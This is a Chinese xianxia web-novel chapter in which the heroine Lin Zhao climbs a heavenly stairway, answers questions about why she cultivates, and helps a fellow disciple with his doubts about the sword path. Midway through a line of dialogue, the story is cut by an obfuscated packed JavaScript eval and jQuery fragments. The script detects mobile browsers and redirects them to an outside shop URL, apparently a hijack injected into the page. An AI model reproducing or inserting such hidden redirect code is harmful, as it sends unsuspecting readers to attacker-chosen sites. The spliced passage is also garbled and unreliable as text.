踏上天梯第一级台阶的瞬间，林照听见了麦浪的声音。
那不是真实的声响，是烙印在记忆深处的回响——晒谷观后山那片麦田，夏末的风拂过时，千万株麦穗摩挲出的沙沙声，像大地在低语。
她低头看去，脚下白玉台阶温润如脂，表面浮现出淡淡的金色符文。那符文不是静止的，在缓慢流转，像水面的涟漪。而就在涟漪中心，她看见了一幅画面：
十二岁的自己，正蹲在麦田里，小心翼翼地给一株倒伏的麦苗扶正、培土。汗水顺着下巴滴进泥土，在干旱的北地夏天，每一滴水都珍贵如油。
“你为何修行？”
那个问题再次在心底响起，这次不再是对所有人的询问，是只对她一人的叩问。
林照没有立刻回答。她继续向上走，第二级，第三级……每上一级，脚下的画面就变化一次。
八岁，老谷头教她辨认草药。老人粗糙的手掌托着一株“七星草”，说这草能止血，但采的时候要留根，来年还能再长。“照丫头，记住了——修行如采药，可以取用，不能断绝。断了根，就什么都没了。”
十三岁，她第一次感受到灵气。不是打坐冥想，是在晾晒麦子时，看着阳光透过麦穗的缝隙洒下来，金灿灿的，忽然就觉得心里有什么东西“咔嚓”一声松动了。后来她才知道，那就是引气入体。
十六岁，下山游历。在渔村帮老渔夫补网，老人说：“网眼不能太密，太小鱼就逃不掉；也不能太稀，稀了大鱼就漏了。修行啊，就跟这补网一样，要留有余地。”
画面一帧帧闪过，像在帮她梳理这十七年的人生。
走到第三十级台阶时，林照停下了。
她回头看去——台阶下方，沈不言、炎烁、青禾他们也在向上走，但每个人的步伐节奏都不同。沈不言走得很稳，每一步都像在丈量剑道的尺度；炎烁走得很快，但不时会停顿，脸上露出挣扎的神色；青禾走走停停，有时甚至会退下一级，似乎在反复确认什么。
每个人，都在面对自己的“第一问”。
而更远处，天梯之外，晨光中的大荒苍茫如海。她能隐约看见西边山脊上有个小黑点——是陈砚吗？还是李慕云？她不确定，但知道他们一定在看着。
林照转回头，继续向上。
这一次，脚下的画面变了。不再是回忆，是某种……预兆？
她看见晒谷观燃起了大火。火光冲天，映红了半边夜空。七个孩子哭着往外跑，李虎抱着豆苗冲在最前，身后是倒塌的房梁、飞溅的火星。阿茸的“咩咩”叫声凄厉而绝望。
“不……”林照心脏骤缩，本能地就要转身往下冲。
但脚步刚动，画面又变了。
大火熄灭，晒谷观化为焦土。可是在焦土中央，一株嫩绿的麦苗破土而出，在晨风中微微摇晃。麦苗周围，更多的新芽钻出地面——是那些她临走前让孩子们埋下的麦种，发芽了。
然后她看见了自己。
不是现在的自己，是更成熟、更沉稳的自己，正站在那片新生的麦田里，弯腰收割。镰刀划过麦秆的声音清脆悦耳，一捆捆麦子堆成小山。远处，重建的晒谷观炊烟袅袅，李虎在教豆苗写字，其余五个孩子在玩闹。
阿茸老了，毛色泛黄，但仍跟在她脚边，时不时蹭蹭她的腿。
画面渐渐淡去。
林照站在台阶上，许久未动。冷汗浸透了里衣，又被晨风吹干。
那是未来吗？还是心魔幻象？她分不清。但那个问题，却在这剧烈的情绪波动中，渐渐清晰起来。
你为何修行？
不是为了长生——老谷头活了一百三十岁，临终前说“够了，该走了”，脸上是释然的笑。
不是为了力量——再强的力量，也挽不回一场大火，救不了所有想救的人。
那到底是为了什么？
林照想起了周云鹤册子上的话：“阵枢非无情，乃大情——情系一方水土，情系万物生灵，情系所有平凡而珍贵的存在。”
她继续向上走。这一次，脚步沉稳了许多。
走到第五十级台阶时，那个声音再次响起，这次带着某种审视的意味：
“若修行终是一场空，若守护终将破碎，若牵挂终成负担——你，还修吗？”
林照笑了。
那是自踏上仙山后，她第一次露出笑容。笑容很淡，却像穿透乌云的第一缕阳光。
“修啊。”她轻声说，声音在空旷的天梯上回荡，“为什么不修？”
“哪怕一场空？”
“空不空的，得走了才知道。”林照抬头望向更高的台阶，“就像种麦子——春天播种时，谁知道秋天能不能丰收？可能旱，可能涝，可能虫灾。但不种，就永远没有。”
她顿了顿，继续说：“老谷头说过，人这一辈子，就像麦子。该扎根时扎根，该抽穗时抽穗，该弯腰时弯腰。但最重要的是——知道自己为什么扎根，为什么抽穗，为什么弯腰。”
“你的答案是？”
林照深吸一口气，一字一句：
“我修行，不是为了成仙，是为了有能力守护那些我想守护的东西。守护晒谷观的一亩三分地，守护观里孩子们的笑容，守护阿茸能在苜蓿坡上安心吃草，守护凡人也能有尊严地活着。”
“若守护不住呢？”
“那就再种。”林照说，“麦子死了，再播新种；房子烧了，再盖新屋；人走了……就记住他们，然后继续往前走。只要这片土地还在，只要还有人愿意播种、愿意守护，希望就死不绝。”
话音落下，脚下的台阶忽然大放光明。
不是之前那种温和的金光，是炽烈的、几乎要灼伤眼睛的纯白光芒。光芒中，那些流转的符文开始重组，化作一段古老的文字：
“道非道，非常道。名非名，非常名。无，名天地之始；有，名万物之母。故常无欲，以观其妙；常有欲，以观其徼。”
这是《道德经》的开篇。林照读过，老谷头教过，但从未像此刻这样，觉得每个字都重若千钧。
文字渐渐淡去，化作一道白光，没入她的眉心。
林照浑身一震。
没有醍醐灌顶的顿悟，没有修为暴涨的舒畅，反而像是……肩上突然压了一副重担。那担子看不见摸不着，但她能感觉到——那是这片土地、这些生灵、这些平凡的日常，交付给她的重量。
她成了“守土人”。
不是自封的，是天梯的认可，是这片天地某种古老规则的承认。
从此，她的道与这片土地绑在了一起。土地荣，她荣；土地枯，她枯。但同时，只要她站着，这片土地就多一分生机；只要她不忘，那些平凡的牵挂就多一分力量。
林照缓缓吐出一口浊气，继续向上。
走到第八十级台阶时，她追上了沈不言。
这位云游剑派的顶尖弟子正盘膝坐在台阶上，双眼紧闭，眉头紧锁，周身剑气紊乱，时而锋锐如要斩断一切，时而温润如春风拂面。
林照在他身边坐下，没说话。
许久，沈不言睁开眼，眼中满是血丝：“林照，我……我答不上来。”
“什么问题？”
沈不言苦笑：“天梯问我，若剑道的尽头是‘无剑’，那练剑何为？若守护的尽头是‘无守’，那守护何为？我想了所有师父教的道理，想了祖师留下的剑谱，可没有一个答案能说服我自己。”
林照看向他腰间的剑。那是柄很普通的青钢剑，剑鞘已经磨得发亮，剑柄上缠的麻绳换过三次——她见过沈不言在夜深人静时，一遍遍擦拭这把剑，像在擦拭自己的魂魄。
“沈师兄。”她轻声问，“你第一次握剑时，是什么感觉？”
沈不言怔了怔，眼中浮现追忆：“七岁，师父把木剑递给我，说‘剑是凶器，也是仁器。用好了护人，用不好伤人’。我那时不懂，只觉得……剑很重，握在手里，手心会出汗。”
“现在呢？”
“现在……”沈不言握紧剑柄，“剑还是很重。但重的不是分量，是责任。每次拔剑，都要想清楚——这一剑，为谁而拔？为何而拔？”
林照点头：“那答案不就在这儿吗？剑道的尽头是什么，不重要。重要的是，你拔剑的每一刻，都知道自己为什么拔剑。就像我种麦子——我不知道麦子最终会长成什么样，但我知道，我播种是为了让人有饭吃。这就够了。”
沈不言愣愣地看着她，许久，忽然笑了。
那笑容像冰层融化，露出底下温润的流水。
“我懂了。”他说，“剑不在锋，在止；道不在高，在守。我练剑，不是为了达到什么‘无剑’的境界，是为了在需要止戈的时候，有能力止戈；在需要守护的时候，有能力守护。”
他站起身，周身紊乱的剑气瞬间收敛，化作一道圆融通透的剑意。那剑意不伤人，不逼人，只是静静地存在着，像山，像河，像千百年不变的日月星辰。
脚下的台阶亮起同样的白光，一段文字浮现：
“兵者不祥之器，非君子之器，不得已而用之，恬淡为上。胜而不美，而美之者，是乐杀人。夫乐杀人者，则不可得志于天下矣。”
沈不言对着那段文字深深一揖，然后继续向上。
林照跟在他身后。两人一前一后，走到了第九十级台阶。
这里已经能俯瞰大半个葬骨原。晨光中，荒原如金色的海，远处仙山的轮廓清晰可见——那不是虚影了，是实实在在的山体，青黑色岩石上覆盖着终年不化的积雪，山腰云雾缭绕，山顶隐没在更高处的云层中。
而他们脚下的天梯，还在一级级向上延伸，看不到尽头。
“歇会儿吧。”沈不言说。
两人在台阶上坐下。林照从怀里掏出个油纸包——是陈砚见面塞给她的肉干，北地特制的风干羊肉，硬得能硌牙，但嚼久了有股独特的咸香。
她分了一半给沈不言。两人就着晨风，慢慢啃着肉干。
“你说，”沈不言望着远方，“天梯为什么要问这些问题？”
“也许……”林照想了想，“不是为了筛选，是为了让登梯的人，自己筛选自己。”
“怎么说？”
“如果连自己为什么修行都弄不清楚，就算上了天梯，到了所谓的‘仙界’，又能怎样？不过是换个地方迷茫罢了。”林照说，“老谷头说过，人最重要的是活得明白。修行修到连自己为什么修都不知道，那还不如不修。”
沈不言点头，忽然问：“林照，如果
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233497|197631||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
……我是说如果，天梯的尽头真的是囚笼，你怎么办？”
“那就砸了囚笼。”林照说得理所当然，“囚笼关不住真心想飞的人。”
“要是砸不碎呢？”
“那就想办法。”林照笑了，“就像在晒谷观——夏天闹蝗虫，麦子快被吃光了。老谷头带着我们，白天抓蝗虫，晚上点篝火诱杀，硬是保住了三成收成。李虎问，为什么不干脆用法术灭虫？老谷头说，法术能灭一时，灭不了一世。治虫如治水，宜疏不宜堵。”
她看向沈不言：“囚笼也一样。硬砸砸不碎，就找别的路——总有路的。”
沈不言深深看了她一眼，没再说话。
肉干吃完时，下面传来脚步声。炎烁上来了，这小子浑身是汗，道袍都湿透了，但眼睛亮得惊人。
“过了！”他一屁股坐在台阶上，大口喘气，“天梯问我，火焰是毁灭还是创造？我他娘的……想了半天，最后说，火焰是什么，得看握火的人想让它是什么。我想用它烤红薯，它就是炊烟；想用它烧房子，它就是灾祸。然后……台阶就亮了！”
他说得兴奋，手舞足蹈。
林照和沈不言都笑了。
接着，青禾、水月仙子、凌虚子……一个接一个上来了。每个人脸上都有疲惫，但眼睛里都有光——那是想明白了一些事之后的光。
二十一人，全部通过了第一问。
他们站在第九十九级台阶上，望向第一百级。
那级台阶不一样。它更宽，更厚，表面没有符文，只有两个古篆大字：
“叩心”
“这应该是第一问的终点。”凌虚子沉吟道，“踏上去，就算正式通过第一问了。”
“会有什么？”炎烁问。
“不知道。”凌虚子摇头，“古籍记载不一。有的说会赐下机缘，有的说会有考验，也有的说……什么都没有，只是让你看清自己的心。”
众人沉默。
最终，还是林照第一个迈步。
她踏上第一百级台阶的瞬间，整个世界安静了。
风声、呼吸声、心跳声，全都消失了。她站在一片纯白的空间里，上下左右皆是虚无，只有正前方，悬着一面镜子。
镜子不是铜，不是玉，像是……凝固的光。
镜中映出的不是她的脸，是一幅幅画面：
晒谷观的麦田在风中起伏；阿茸在苜蓿坡上啃草；几个孩子围在石桌旁吃饭；老谷头的坟上开满野菊；陈砚在青州商行打算盘；李慕云在矿洞深处举着油灯；沈不言在月下练剑；甚至还有——鬼哭峡里，那三个被抽干的金丹修士绝望的眼神；血煞阵中，沙狼化作血雾的瞬间；仙山脚下，二十一个年轻人仰望天梯的背影……
画面最后定格在一粒麦种上。
麦种破土，发芽，抽穗，成熟，被收割，磨成粉，蒸成馒头，被一个孩子咬了一口。孩子笑了，嘴角沾着馒头屑。
然后所有画面收缩，化作一滴水，滴入镜面。
镜面泛起涟漪。
涟漪中心，浮现一行字：
“道在蝼蚁，在稊稗，在瓦甓，在屎溺。
林照怔住了。
她读过庄子，老谷头的藏书中有一本《南华真经》，她翻过很多遍。但从未像此刻这样，被这句话击中心脏。
道在蝼蚁——在那些渺小的、被人忽视的生命里。
在稊稗——在野草中，在麦田里。
在瓦甓——在晒谷观的破瓦片上，在凡人炊烟升起的屋顶。
在屎溺——在最污秽、最不堪的地方，道也在。
原来如此。
所谓修行，不是要脱离这些，是要深入这些。不是在云端俯瞰人间，是在泥土里扎根生长。
镜子碎了。
不是破裂，是化作万千光点，如萤火虫般飞舞，最后汇聚成一道光束，没入林照丹田。
她感觉到，自己的筑基修为，在这一刻圆满了。
不是境界提升，是根基夯实——像麦子经历了完整的四季，从播种到收割，每一个环节都踏实走过，终于可以迎接下一个轮回了。
白光散去，林照回到了天梯上。
她站在第一百级台阶的顶端，回头看去——身后，是九十九级她一步步走来的路；前方，是第二段天梯，一百级新的台阶，在晨光中泛着温润的玉色。
而台阶起点，又浮现了那个问题：
“第二问：你所修之道，欲往何处？”
林照深吸一口气，没有立刻向前。
她转身，看向台阶下方——沈不言刚刚踏上第一百级，炎烁在第九十八级挣扎，青禾在第九十五级沉思……每个人都还在自己的路上。
而在更远、更远的天梯之外，大荒之上，晨光渐盛。
她隐约看见，西边的山脊上，有两个人影并肩而立，正朝这边挥手。
太远了，看不清脸。
但林照知道，那是陈砚和李慕云。
她也抬起手，用力挥了挥。
然后转身，踏上了第二段天梯的第一级。
风吹起她的衣角，露出腰间那柄镰刀——李虎给的，木柄磨得发亮。
刀刃在晨光中，泛起一点微光。
像麦芒。